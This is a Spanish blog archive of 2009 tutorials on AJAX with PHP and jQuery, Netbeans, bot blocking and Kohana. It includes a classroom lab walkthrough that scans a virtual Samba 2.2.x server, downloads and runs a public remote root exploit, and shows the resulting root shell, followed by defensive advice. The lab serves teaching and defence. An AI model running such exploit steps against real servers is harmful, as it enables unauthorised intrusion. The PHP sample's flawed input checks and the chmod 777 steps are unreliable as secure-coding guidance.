Monthly Archives: October 2009

Sonido a través de los parlantes en un Dell Vostro 1400 con Windows 7

Introducción.

Hoy, justo cuando lo necesitaba urgentemente descubrí que a mi portátil, un Dell Vostro 1400, con Windows 7 Release Candidate 1 no le estaban funcionando los parlantes.  Probé con audífonos y si funcionaron pero solamente conectados en uno de los dos conectores para este fin.

La mejor solución a este problema, ocasionado por los controladores de Windows 7 con los chips de SigmaTel,  que he encontrado hasta ahora es el de instalar los controladores de Windows Vista para este chipset.

Enlaces.

Víncular los Javadocs con Netbeans

Introducción.

El siguiente procedimiento permite relacionar la documentación oficinal de Java SE (Javadocs) con Netbeans permitiéndole al desarrollador tener una mejor información mas allá de la contextual que provee por defecto el IDE.

Configuración.

Seleccione el menú Tools > Java Platforms.

p1

Seleccione la pestaña Javadoc y presione el botón Add ZIP/Folder.

p2

Seleccione el archivo ZIP o el folder donde se encuentra la documentación de los Javadoc en el equipo.

p3

Presione el botón Close para terminar la configuración.

Uso.

En el editor de código fuente seleccione la clase que desea consultar en los Javadocs y presione ALT+F1 o haga clic derecho y elija la opción Show Javadoc del menú contextual.

p4

Netbeans abrirá la documentación correspondiente a la clase solicitada en el navegador web disponible.

p5

Enlaces.

Ejemplo de AJAX rápido y simple con PHP y jQuery

Introducción.

Muy probablemente usted esté aquí, leyendo este artículo porque desea aprender a utilizar AJAX con PHP de una manera muy simple y rápida.  Yo estoy aquí porque hoy no tengo sueño y que mejor manera de esperarlo que escribir un pequeño tutorial acerca del acceso asíncrono de contenidos web utilizando el framework de jQuery.

Para no tener que dividir el artículo en varias entregas vamos a desarrollar un ejemplo muy sencillo y clásico: la calculadora, sólo que a diferencia de la habitual esta realizará sus cálculos del lado del servidor y presentará sus resultados a través de llamados con AJAX.  La implementación Javascript asociada con el objeto AJAX (el objeto XMLHTTPRequest) no la realizaremos directamente sino que utilizaremos el framework de jQuery el cual simplifica y facilita enormemente el desarrollo en Javascript.  El lado del servidor, los cálculos de nuestra calculadora, se implementarán en el viejo y conocido PHP.  Por supuesto para implementar el nivel de presentación (página web) que recibe el cliente tendremos que hablar un poco de HTML y CSS.

Qué es AJAX ?

AJAX es el acrónimo de Asynchronous JavaScript and XML, un conjunto de tecnologías web que permiten que las aplicaciones web desde sus clientes se comuniquen y soliciten información al servidor de manera asíncrona sin interferir con el contenido y comportamientos de la página actual, es decir, sin refrescar (postback) la página web por completo.

Su implementación se basa en el objeto XMLHttpRequest o XHR el cual fue originalmente desarrollado por Microsoft y apareció por primera vez en 1999 como un control ActiveX de Internet Explorer 5, posteriormente los demás navegadores lo acogieron desarrollando sus propias implementaciones.

En términos generales el uso de AJAX mejora la usabilidad de las páginas permitiendo a los desarrolladores crear aplicaciones que se comportan de manera similar a las aplicaciones de escritorio.  Un ejemplo de esto son los clientes de correo web de última generación (como GMail) y las aplicaciones geográficas (como Google Maps).  También tiene sus desventajas como presentar una mayor dificultad para su depuración, control de favoritos e historial y que los buscadores web comúnmente no pueden acceder a sus contenidos para indexarlos.

Consulte mas información acerca de AJAX en Wikipedia.

Procedimiento.

Estos son los pasos generales que realizaremos para implementar nuestra pequeña aplicación.

  1. Crear la estructura básica de la página web.
  2. Implementar el formulario de la calculadora.
  3. Mejorar la presentación del formulario.
  4. Implementar la lógica del negocio de la calculadora.
  5. Incluír una referencia a la librería de jQuery en la página web.
  6. Implementar los llamados asíncronos a la lógica del negocio de la calculadora.

La estructura básica de la página.

El primer paso es crear la estructura básica de la página web que recibirá el usuario.  Esta se puede crear con cualquier editor de texto desde el bloc de notas hasta otro mas elaborado como Dreamweaver o Eclipse PDT.  Lo importante es que sea un editor de archivos planos.  En mi caso estoy probando gPHPEdit para Linux el cual se ve hasta ahora simple y conciso.  Para el caso de Windows un editor simple como el Notepad++ servirá.

Creamos entonces el archivo calculadora.html con el siguiente contenido.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
                      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
       <!-- Documento HTML con carácteres UTF8 -->
       <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
       <title>Calculadora AJAX</title>
       <!-- Clases CSS internas -->
       <!-- Referencias a Javascripts externos -->
       <!-- Código Javascript interno -->
    </head>
    <body>
        <!-- Contenido del documento -->
    </body>
</html>

He incluído algunos <!– comentarios –> que nos servirán mas adelante para ubicar donde en el documento se deberán agregar segmentos de código adicionales.  Como se puede apreciar, esperamos ceñirnos al XHTML 1.1 transitional.

El formulario de la calculadora.

Este deberá contar con las siguientes partes básicas.

  1. Una sección para los mensajes de error (mensaje) de la aplicación.
  2. Un form (formulario) que representa al formulario en HTML.
  3. Un campo de texto (operando1) para 4 dígitos para que el usuario ingrese al primer operando.
  4. Un campo de selección (operador) para que el usuario elija la operación a efectuarse: suma, resta, multiplicación o división.
  5. Un campo de texto (operando2) para 4 dígitos para que el usuario ingrese al segundo operando.
  6. Un botón (igual) para invocar la operación de los datos.
  7. Una sección (resultado) para mostrar el resultado de la operación.

La siguiente es la implementación de esta sección y debe insertarse como el Contenido del documento en la plantilla de la estructura básica de la página web.

<div id='pagina'>
    <div id='mensaje'>&nbsp;</div>
    <form id='formulario' action='#' method='post'>
        <input type='text' id='operando1' name='operando1' value='' size='4' maxlength='4' />
        <select id='operador' name='operador'>
            <option value='SU'>+</option>
            <option value='RE'>-</option>
            <option value='MU'>*</option>
            <option value='DI'>/</option>
        </select>
        <input type='text' id='operando2' name='operando2' value='' size='4' maxlength='4' />
        <input type='button' id='igual' value='=' />
        <span id='resultado'>&nbsp;</span>
    </form>
 </div>
Nota.  El atributo del nombre (name) es requerido en los campos del formulario que se van a transmitir a través de la invocación asíncrona cuando el formulario es enviado completo como lo vamos a hacer en esta práctica.

Mejorar la presentación del formulario.

Este es el producto final de la actualización de la presentación de la página web, es necesario modificar los atributos visuales de cada una de las partes del formulario recién creado.

Interfaz de usuario de la calculadora

Interfaz de usuario de la calculadora

Las nuevas características se especifican utilizando hojas de estilo (CSS) y se referencian a través de sus identificadores, etiquetas o clases.

El siguiente código CSS realiza las modificaciones propuestas al formulario.  Estas se deben insertar en la sección de Clases CSS Internas.

<style type="text/css">
 #pagina                                       /* Envoltura general */
 {
       margin: auto;                           /* Margenes (centrado) */
       width: 600px;                           /* Ancho */
       text-align: center;                     /* Textos internos centrados */
       font-family: "arial, sans-serif";       /* Fuente del texto */
 }
 #mensaje                                      /* Mensaje de error */
 {
       width: 100%;                            /* Ancho */
       margin-top: 20px;                       /* Margen superior */
       margin-bottom: 30px;                    /* Margen inferior */
       color: #ff0e0e;                         /* Color del texto (foreground) */
       font-size: 12px;                        /* Tamaño de la fuente */
 }
 #operando1, #operando2                        /* Campos de texto de los operandos */
 {
       font-size: 25px;                        /* Tamaño de la fuente */
       border-style: groove;                   /* Estilo del borde */
 }
 #operador                                     /* Selector del operador */
 {
       font-size: 25px;                        /* Tamaño de la fuente */
 }
 #igual                                        /* Botón para realizar la operación */
 {
       font-size: 25px;                        /* Tamaño de la fuente */
 }
 #resultado                                    /* Campo de texto donde se despliega el resultado */
 {
       font-size: 25px;                        /* Tamaño de la fuente */
       font-style: italic;                     /* Atributo de fuente itálica o cursiva */
 }
 </style>

La lógica del negocio de la calculadora.

El hecho de calcular el valor resultante de la operación elegida a partir de los operandos especificados es lo que llamamos la lógica del negocio.  Esta lógica, como se dijo inicialmente, la vamos a implementar en PHP en el archivo calcular.php.

Los pasos generales que deben realizarse para llevar a cabo exitosamente el cálculo del valor resultante son los siguientes.

  1. Obtener la información provista por el usuario: operandos y operador.
  2. Verificar que la información proporcionada por el usuario sea válida.
  3. Realizar la operación indicada con los valores suministrados.
  4. Mostrar el resultado.

Como veremos a continuación la implementación de estos pasos es ligeramente mas interesante que su simple mención.

Para iniciar el código PHP, le indicamos al navaegador que la respuesta del script será un texto.  Este paso específico es opcional ya que para PHP este es el tipo de respuesta por defecto.

<?php
/* Indicar el tipo de contenido que tendrá la respuesta */
header('Content-type: text/html');

La implementación de las siguientes acciones la vamos a recubrir en un bloque try/catch ya que es suceptible de generar errores y consecuentemente, lanzar excepciones.

El siguiente paso es el obtener, intentar sanear y verificar los operandos proporcionados por el usuario desde el formulario HTML.  Los parámetros fueron transmitidos a través del método post y los elementos se diferencian por su identificador.

try
{
    /* Obtener y sanear los valores de los operadores */
    $operando1 = filter_var($_POST['operando1'], FILTER_SANITIZE_NUMBER_FLOAT);
    $operando2 = filter_var($_POST['operando2'], FILTER_SANITIZE_NUMBER_FLOAT);
    /* Verificar que los valores de los operadores correspondan
       con los tipos esperados */
    if(!filter_var($operando1, FILTER_VALIDATE_FLOAT) ||
       !filter_var($operando1, FILTER_VALIDATE_FLOAT))
           throw new Exception("Operandos inválidos: [{$operando1}] y [{$operando2}]");

Realizamos una tarea similar con el operador, obtenemos su valor y verificamos que sea válido.

    /* Obtener el valor del operador */
    $operador = $_POST['operador'];
    /* Verificar que el operador suministrado sea válido */
    if(!in_array($operador, array('SU', 'RE', 'MU', 'DI')))
        throw new Exception ("Operador inválido: [{$operador}]");

Definimos una variable para almacenar el resultado de la operación solicitada.

    /* Almacenar resultado, inicialmente desconocido */
    $resultado = 0;

Realizamos la operacion correspondiente al operador recibido.  Se deben tener en cuenta dos posibles contingencias que pueden suceder: en el caso de la division, el denominador, es decir, el segundo operador no puede ser cero.  El segundo caso que debe tenerse en cuenta es que el operador recibido no corresponda con ninguna de las operaciones conocidas, esto habria sido validado inicialmente al verificar el operador suministrado despues de su recuperacion.

    /* Realizar la operación solicitada */
    switch($operador)
    {
        case 'SU':    $resultado = $operando1 + $operando2;
        break;
        case 'RE':    $resultado = $operando1 - $operando2;
        break;
        case 'MU':    $resultado = $operando1 * $operando2;
        break;
        case 'DI':    /* Verificar si el denominador es cero,
                         en ese caso, la división no puede realizarse */
                      if ($operando2 == 0)
                          throw new Exception ('División por cero');
                      $resultado = $operando1 / $operando2;
        break;
        default:      /* Si ninguna operación se ejecutó significa
                         que el operador era inválido (segunda verificación) */
                      throw new Exception('Operador desconocido');
        break;
    }
}

Para terminar la lógica de la calculadora debemos lidiar con los dos posibles resultados.  Si el procesamiento tuvo algún error (se lanzó una excepción durante el proceso) o si su terminación fue exitosa.

En caso de haber sucedido un error este se indica al usuario mediante un mensaje descriptivo y al navegador al enviarle un código 400.

catch(Exception $e)            /* La operación produjo un error */
{
    /* Indica al navegador la condición de error */
    header("Status: 400 Bad Request", true, 400);
    /* Despliega el mensaje de error para el usuario */
    echo $e -> getMessage();
    exit(1);
}

En caso de terminar la operación exitosamente, se deberá mostrar al usuario el resultado de la misma e informarle al navegador con un código 200.

/* La operación se realizó exitosamente */
/* Indica al navegador la condición de éxito */
header("Status: 200 OK", true, 200);
/* Despliega el resultado de la operación para el usuario */
echo number_format($resultado, 4);
exit(0);
?>

Incluír la referencia a jQuery.

En este paso lo que hacemos en incluír a la librería jQuery en nuestro proyecto web para poder utilizarla en nuestros fragmentos de código Javascript.

Para hacer esto se debe agregar la siguiente línea en la sección Referencias de Javascript externos.

<script src="http://www.google.com/jsapi"></script>
<script>google.load("jquery", "1");</script>

Este fragmento utiliza Google AJAX Libraries que nos permite incluír los principales frameworks de Javascript en nuestros sitios web sin preocuparnos por su almacenamiento o implementación, en este caso, incluír la distribución estable mas reciente de la rama 1.x.  Obviamente este método requiere que el cliente tenga acceso a Internet además de la aplicación web.

Una forma mas tradicional de hacer lo mismo es el descargar por nuestra propia cuenta la distribución de jQuery desde su sitio web, almacenar el archivo en nuestro servidor y hacer una referencia desde la página web como se muestra a continuación.

<script src='http://www.servidor.com/ruta/jquery.js' type='text/javascript'></script>

Implementar las invocaciones asíncronas.

La implementación de la invocación asíncrona se realiza directamente en Javascript utilizando a la librería jQuery recién referenciada.  Su código se agrega bajo la sección Código Javascript interno.

El primer paso que se debe realizar para su implementación es relacionar el evento de presionar el botón igual con la invocación del llamado asíncrono.  Para hacer esto vamos a utilizar un método no invasivo, es decir, no vamos a contaminar el HTML con el atributo onClick para el elemento INPUT sino que lo haremos desde el código Javascript favoreciendo la separación entre presentación/lógica del negocio y maximizando la flexibilidad de esta última.

Para hacer esto, tan pronto como se carga la página se asocia el evento de clic sobre el botón de igual para que se invoque la función procesar.

<script type='text/javascript'>
/* Código a ejecutarse tan pronto como la
   página ha sido cargada por el navegador */
$(document).ready(function ()
{
	/* Asociar el evento de clic del botón 'igual'
	   con la lógica del negocio de la aplicación */
	$('#igual').click(function()
	{
		procesar();
	});
});

El siguiente paso es la implementación de la función procesar.  En ella se realiza el llamado asíncrono a través de AJAX a la aplicación web en PHP desarrollada anteriormente para realizar el cálculo solicitado.

Una invocación asíncrona típica incluye la siguiente información básica.

  1. El URL de la aplicación web a invocarse.
  2. El tipo del requerimiento a realizarse (GET o POST normalmente).
  3. Los datos a enviarse como parámetros desde el formulario web (en formato QueryString).
  4. Definir la implementación de que hacer si la invocación es exitosa.
  5. Definir la implementación de que hacer si la invocación es fallida.

En el siguiente fragmento de código se especifican los primeros tres elementos de la lista.  El llamado asíncrono accederá a la aplicación web calcular.php mediante el método post y se le enviarán como parámetros los campos del formulario formulario.

function procesar()
{
	$.ajax ({
		url: 	'calcular.php',                   /* URL a invocar asíncronamente */
		type:   'post',                           /* Método utilizado para el requerimiento */
		data: 	$('#formulario').serialize(),     /* Información local a enviarse con el requerimiento */

En caso de ser exitoso se deberá mostrará un mensaje verde informándolo y se desplegará el resultado obtenido de la operación en la ubicación definida para este fin.

		/* Que hacer en caso de ser exitoso el requerimiento */
		success: 	function(request, settings)
		{
			/* Cambiar el color del texto a verde */
			$('#mensaje').css('color', '#0ab53a');
			/* Mostrar un mensaje informando el éxito sucedido */
			$('#mensaje').html("Operación realizada exitosamente");
			/* Mostrar el resultado obtenido del cálculo solicitado */
			$('#resultado').html(request);
		},

En caso de que la invocación sea fallida se deberá mostrar un mensaje rojo informando el error sucedido y se removerá cualquier resultado previo que pueda haber para no confundir al usuario con información anterior.

		/* Que hacer en caso de que sea fallido el requerimiento */
		error: 	function(request, settings)
		{
			/* Cambiar el color del texto a rojo */
			$('#mensaje').css('color', '#ff0e0e');
			/* Mostrar el mensaje de error */
			$('#mensaje').html('Error: ' + request.responseText);
			/* Limpiar cualquier resultado anterior */
			$('#resultado').html('Error');
		}
	});  // Fin de la invocación al método ajax
}  // Fin de la función procesar
</script>

Enlaces.

id='operador'

Hacer algo cuando inicia o termina el evento AJAX con jQuery

Introducción.

Este pequeño fragmento de código es muy útil, permite manipular un objeto del DOM cuando suceden los eventos de inicio o terminación del AJAX.  Muy útil para mostrar de manera fácil y automatizada un indicador de AJAX para informar al usuario que hay una transacción asíncrona en curso.

Procedimiento.

$('#loader').ajaxStart(function () {
    $(this).fadeIn();
});
$('#loader').ajaxStop(function () {
    $(this).fadeOut();
});

Adicionalmente hay otros eventos que pueden manejarse de igual manera ajaxComplete, ajaxError, ajaxSend y ajaxSuccess, además de los ya mencionados ajaxStart y ajaxStop.

Enlaces.

Impedir el acceso a los 'bots' a un sitio web

Introducción.

Los bots de los motores de búsqueda son las aplicaciones que contínuamente están revisando los sitios web y sus enlaces para indexar sus páginas.  Esto es bueno porque es precisamente lo que permite funcionar a los buscadores web y mantener su información actualizada, sin embargo también es malo para quienes mantienen los sitios si estos acceden con demasiada frecuencia y utilizan demasiados recursos del servidor, además también es posible que se desee mantener información oculta a los ojos de estos motores de búsqueda.

Para hacer esto se les indica o se les niega el acceso a nuestro sitio a estas aplicaciones.

Procedimiento.

Utilizando el archivo robots.txt.

  • Este archivo se debe ubicar en la raíz del sitio web.
  • Es una indicación amable a los bots para que cumplan lo que allí se especifica.
  • Es posible que bots malintencionados hagan caso omiso de estas indicaciones.

Impedir el acceso a todo el sitio a todos los bots.

# Go away
User-agent: *
Disallow: /

Impedir el acceso a la carpeta /blog del sitio al bot de Google.

# Don't index my blog
User-Agent: Googlebot
Disallow: /blog/

Desde el archivo .htaccess.

  • Las modificaciones se realizan en el archivo .htaccess del sitio web.
  • Estas políticas son mas restrictivas y no pueden ser obviadas por los bots.
  • Debe concerse con precisión la red de la cual proviene el bot ya que se impedirá su acceso por parte del servidor de páginas.
  • Es posible que existan otros clientes válidos que intenten acceder desde las ubicaciones especificadas, por ello la dirección especificada deberá ser lo mas precisa posible.

Impedir el acceso al bot de Google.

Limit GET HEAD POST
order allow,deny
deny from 66.249
allow from all

Historia breve de un compromiso de seguridad (parte #2) – El acceso no autorizado

Introducción.

En este punto se supone que el servidor se está ejecutando en algún lugar de Internet y que los clientes, incluído el atacante, lo acceden normalmente.

Para realizar cualquier tipo de conexión con el servidor es necesario conocer su dirección IP o en su defecto el nombre FDQN que será traducido por un servidor DNS para obtener finalmente su dirección IP.

Para la práctica se configuró la interfaz de red del Virtualbox en modo puente (bridge) para permitirle al servidor acceder a la red como una máquina independiente y obtener una dirección propia a partir del DHCP.

Es necesario entonces conocer cual es la dirección IP que obtuvo el servidor al cual vamos a acceder, para esto se utiliza el comando ifconfig.

Obtener la dirección IP de un equipo Linux

Obtener la dirección IP de un equipo Linux

A partir de este momento nos referiremos al servidor a través de su dirección IP: 192.168.1.6.

Establecer los servicios activos.

Conociendo la dirección IP del servidor, el atacante puede realizar una revisión de puertos para intentar establecer que servicios tiene activos.

$ sudo nmap -sS -sV 192.168.1.6

Starting Nmap 4.76 ( http://nmap.org ) at 2009-10-13 16:27 COT
Interesting ports on 192.168.1.6:
Not shown: 995 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 3.4p1 (protocol 1.99)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
6000/tcp  open  X11          (access denied)
32768/tcp open  rpcbind
MAC Address: 08:00:27:20:DF:B6 (Cadmus Computer Systems)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds

Nótese como el servidor expone los puertos de los servicios que se instalaron en el paso anterior: el puerto 22 para SSH (con una versión totalmente obsoleta) y el 139 para Samba (versión 2.x).

Irrumpir en el servidor.

En esta práctica, el atacante utiliza el exploit remoto 0x333hate.c o sambal.c para aprovecharse de una vulnerabilidad conocida en Samba 2.2.x (hasta la 2.2.8).

Descargar el exploit.

$ wget http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c

–2009-10-13 16:46:40–  http://www.securityfocus.com/data/vulnerabilities/exploits/0x333hate.c
Resolving www.securityfocus.com… 205.206.231.13, 205.206.231.15, 205.206.231.12
Connecting to www.securityfocus.com|205.206.231.13|:80… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c [following]
–2009-10-13 16:46:40–  http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
Resolving downloads.securityfocus.com… 205.206.231.23
Connecting to downloads.securityfocus.com|205.206.231.23|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 6514 (6.4K) [text/plain]

Saving to: `0x333hate.c'
100%[====================================================================>] 6,514       36.7K/s   in 0.2s
2009-10-13 16:46:41 (36.7 KB/s) – `0x333hate.c' saved [6514/6514]

Compilar el exploit.

Requiere que las herramientas de desarrollo se encuentren instaladas: build-essential.

$ gcc 0x333hate.c -o 0x333hate

$ ls -l

-rwxr-xr-x 1 jimezam jimezam 15736 2009-10-13 16:46 0x333hate
-rw-r–r– 1 jimezam jimezam  6514 2003-04-30 23:00 0x333hate.c

Ejecutar el exploit.

$ ./0x333hate -t 192.168.1.6


[~] 0x333hate => samba 2.2.x remote root exploit [~]

[~]        coded by c0wboy ~ www.0×333.org       [~]
[-] connecting to 192.168.1.6:139
[-] stating bruteforce

[-] testing 0xbfffffff
[-] testing 0xbffffdff
[-] testing 0xbffffbff
[-] testing 0xbffff9ff
[-] testing 0xbffff7ff
[-] testing 0xbffff5ff
[-] testing 0xbffff3ff
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)

Como se puede apreciar, el exploit nos ha abierto un shell con privilegios de root en el servidor!

Para verificar que esto sea cierto crearemos un archivo de prueba de la siguiente manera.

cd /tmp
touch hacked!
ls -l

-rw-rw-rw-    1 root     root 0 Oct 13 16:48 hacked!

Nótese como el archivo (vacío) creado por los comandos anteriores es propiedad del usuario root, efectivamente tenemos un shell de administrador en el servidor atacado.

El problema.

El problema sucede cuando se copia la información suministrada por el cliente a un buffer estático, el servidor falla al verificar la longitud de esta información permitiéndole a un usuario anónimo corromper posiciones estratégicas de memoria y con esto ejecutar comandos arbitrarios en el servidor con los mismos privilegios con los que se ejecuta el proceso de Samba.

El error sucede en la función call_trans2open() (línea 250) del archivo /source/smbd/trans2.c.

namelen = strlen(pname)+1;
StrnCpy(fname,pname,namelen);

Sugerencias.

  • No confiar nunca en los datos suministrados por el usuario.
  • Realizar los procesos de validación de la información tanto en el cliente como en el servidor.
  • Siempre verificar que la información proveniente del usuario o de la base de datos sea de los tipos y la longitudes esperadas.
  • Mantener siempre actualizado el software con la versión mas reciente posible, especialmente en el servidor.
  • Utilizar firewalls que regulen el flujo de datos tanto de entrada como de salida.
  • Minimizar los servicios ejecutados en el servidor a sólo los necesarios.
  • Bloquear con el firewall el acceso a los servicios según no se requieran desde las distintas interfaces de red del servidor.
  • Revisar con cuidado los registros del servidor cuyas transacciones involucren servicios de hosting gratuitos.

Historia breve de un compromiso de seguridad (parte #1) – Preparando el servidor

Introducción.

Esta miniserie de artículos está basada en una práctica del curso de Arquitecturas de Sistemas Distribuídos de la Especialización en Ingeniería de Software de la UAM que dicté hace poco.  Resultó que el grupo tenía gran interés en los temas de seguridad así que preparé esta práctica que, a pesar de basarse en software obsoleto, es muy interesante y didáctica a mi parecer.

Aclaro que no soy un experto en el tema, sin embargo aprendí un poco al respecto en una experiencia similar que tuve cuando recibí la administración de unos servidores que se encontraban prácticamente desatendidos y por ende desactualizados, dejándolos como una presa fácil para este tipo de ataques.  Por obvias razones no se espera que un servidor se encuentre conectado a Internet en tal estado de desprotección y desactualización.

En esta primera parte se va a realizar la instalación del servidor el cual estará basado en RedHat 8.0 y tendrá los servicios de SSH para acceso remoto y Samba para compartir archivos (ambos ampliamente utilizados).  Para hechos de la práctica el servidor no tendrá firewall sin embargo esto no es necesario ya que sólo requiere tener acceso de conexión a Samba.

Instalación básica del sistema operativo.

El servidor objetivo para mi caso se ubicará en una máquina virtual basada en Virtualbox a la cual le instalaremos una versión básica de Linux RedHat 8.0 con ambiente gráfico, herramientas de administración y desarrollo, y soporte para el protocolo Samba.

Activar el servicio de Samba al inicio del sistema operativo.

$ /usr/sbin/redhat-config-services

Seleccionar smb y presionar los botones de Save y Quit.

Activar el servicio de Samba

Activar el servicio de Samba

Instalar los detectores de rootkits.

Instalación de Chkrootkit.

# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz

# tar zxvf chkrootkit.tar.gz

# cd chkrootkit-*

# make sense

# ./chkrootkit

Instalación de Rkhunter.

# wget http://sourceforge.net/projects/rkhunter/files/rkhunter/1.3.4/rkhunter-1.3.4.tar.gz/download

# tar zxvf rkhunter-*.tar.gz

# cd rkhunter-*

# ./installer-sh –layout default –install

# rkhunter -c

Reiniciar el servidor.

# reboot

Enlaces.

Instalación básica de Kohana 3

Introducción.

Kohana es un framework de PHP que siempre me ha parecido interesante por su simplicidad y claridad.  Inicialmente se originó como un fork de Codeigniter y posteriormente fue refinándose y alejándose un poco de este.  En lo personal me gusta mas Kohana que CI porque a pesar de ser mas jóven, me parece que han logrado consolidar mejor los recursos y la comunidad de este framework haciendo que se sienta mas sólido y mas robusto, especialmente me parece superior en su mejor orientación a objetos, soporte a PHP5 (la premisa de CI es soportar PHP4 también) y algunos módulos de core (CI tiene versiones análogas como adendos).

Tuve la oportunidad de desarrollar un proyecto con la versión 2.2 con muy buenos resultados.  A mediados del mes pasado se realizó la primera liberación estable de Kohana 3.0 que es la consolidación de la experiencia obtenida durante la serie 2.x y se constituye como una reescritura desde cero del framework.

Aún no estoy del todo seguro si me es conveniente utilizar en este momento esta nueva versión y si por el contrario permanezco con la 2.3.4 y la 2.4 próximamente.  La nueva versión difiere bastante de la existente por lo cual su API no tiene compatibilidad hacía atrás haciendo que los cambios para la actualización sean extensos y probablemente inviables.

De cualquier manera hoy me picó el gusanito de la curiosidad y ya que la documentación no será basada en un Wiki como estabamos acostumbrados sino que se generará de la documentación inline del mismo framework, acabo de instalarlo y de activar el módulo respectivo para consultarla.

La idea es instalar el framework (system/ y modules/) en un directorio por fuera del árbol público (/home/www/kohana/3.0_dev) y sólo instalar en él lo realmente relacionado con la aplicación (/home/www/public/kohana/application).

Procedimiento.

La versión convencional de este procedimiento inicia descargando la versión .ZIP de la distribución desde el repositorio del proyecto, sin embargo como mi interés primordial es el de consultar la documentación, prefiero descargar la versión mas fresca posible y esto se realiza a través del GIT del proyecto.

Descargar la distribución mas reciente de Kohana 3.

$ cd /home/www/public

$ git clone git://github.com/kohana/kohana.git

$ cd kohana

$ git submodule init

$ git submodule update

Ubicación del framework en el directorio no público.

$ mkdir -p /home/www/kohana/3.0_dev

$ mv system/ modules/ /home/www/kohana/3.0_dev

Establecer los permisos requeridos para la aplicación.

$ chmod 777 application/logs/

$ chmod 777 application/cache/

Realizar la configuración general.

$ vi index.php

$application = 'application';
$modules     = '/home/www/kohana/3.0_dev/modules';
$system      = '/home/www/kohana/3.0_dev/system';

Realizar la revisión general de requisitos.

Consultar el URL correspondiente a  http://localhost/kohana/index.php.  Si los requisitos se cumplen proceda con el siguiente paso, de lo contrario soluciónelos y vuelva a ejecutar la revisión.

$ rm install.php

Realizar la configuración general (segunda parte).

$ vi application/bootstrap.php

// Establecer la zona horaria por defecto, mas información en http://php.net/timezones.
date_default_timezone_set('America/Bogota');
// Establecer el URL base de la aplicación, por defecto es kohana donde se recupera el GIT.
Kohana::init(array('base_url' => '/kohana/'));
// Activar los módulos necesarios.  userguide es la documentación.
Kohana::modules(array(
 // 'auth'       => MODPATH.'auth',       // Basic authentication
 // 'codebench'  => MODPATH.'codebench',  // Benchmarking tool
 // 'database'   => MODPATH.'database',   // Database access
 // 'image'      => MODPATH.'image',      // Image manipulation
 // 'orm'        => MODPATH.'orm',        // Object Relationship Mapping
 // 'pagination' => MODPATH.'pagination', // Paging of results
    'userguide'  => MODPATH.'userguide',  // User guide and API documentation
 ));
// Establece el estilo de ruta y el controlador/acción por defecto.
Route::set('default', '(<controller>(/<action>(/<id>)))')
  ->defaults(array(
              'controller' => 'main',
              'action'     => 'index',
   ));

Consultar la documentación del framework.

Acceder a la URL correspondiente a la siguiente de acuerdo a las rutas exactas de instalación.

http://localhost/kohana/index.php/guide

Enlaces.